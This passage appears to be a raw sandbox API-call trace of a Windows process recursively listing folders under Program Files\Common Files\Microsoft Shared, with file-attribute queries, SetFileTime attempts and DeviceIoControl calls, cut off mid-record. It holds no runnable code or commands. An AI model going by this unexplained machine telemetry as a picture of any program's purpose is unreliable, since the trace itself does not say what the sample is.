ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0142.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0142.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a0 [0142.999] SetFileTime (hFile=0x1a0, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0142.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0142.999] DeviceIoControl (in: hDevice=0x1a0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0142.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0142.999] NtClose (Handle=0x1a0) returned 0x0 [0142.999] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0142.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0142.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0142.999] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0142.999] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829c78 [0142.999] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.000] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0143.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.000] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0143.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.000] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.000] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0143.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.001] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829c78, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0143.001] GetLastError () returned 0x12 [0143.001] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0143.001] FindClose (in: hFindFile=0x829c78 | out: hFindFile=0x829c78) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0143.001] GetLastError () returned 0x12 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9851f8) returned 1 [0143.001] FindClose (in: hFindFile=0x829bf8 | out: hFindFile=0x829bf8) returned 1 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0143.001] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0143.001] FindNextFileW (in: hFindFile=0x829b38, lpFindFileData=0x1a7f194 | out: lpFindFileData=0x1a7f194*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1 [0143.002] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0143.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), fInfoLevelId=0x0, lpFileInformation=0x1a7f090 | out: lpFileInformation=0x1a7f090*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0143.002] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink" (normalized: "c:\\program files\\common files\\microsoft shared\\ink"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0143.003] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x1a7f0d4, lpLastWriteTime=0x1a7f0d4) returned 0 [0143.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4000) returned 0x98de90 [0143.003] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x98de90, nOutBufferSize=0x4000, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0 | out: lpOutBuffer=0x98de90, lpBytesReturned=0x1a7f12c, lpOverlapped=0x0) returned 0 [0143.003] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x98de90) returned 1 [0143.003] NtClose (Handle=0x198) returned 0x0 [0143.003] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985170) returned 1 [0143.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985170 [0143.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985308 [0143.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9851f8 [0143.003] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", fInfoLevelId=0x1, lpFindFileData=0x1a7eedc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1a7eedc) returned 0x829bf8 [0143.005] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.187] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x0, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1 [0143.187] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98da08 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x9856c0 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98da28 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985748 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0143.188] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f4e4a1, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x92f4e4a1, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x92f9a75d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x989ac8 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985308) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x18) returned 0x98da48 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x98cb48 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c53a9c4, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5c53a9c4, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe29c9700, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x985638 [0143.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x985638) returned 1 [0143.189] FindNextFileW (in: hFindFile=0x829bf8, lpFindFileData=0x1a7eedc | out: lpFindFileData=0x1a7eedc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, 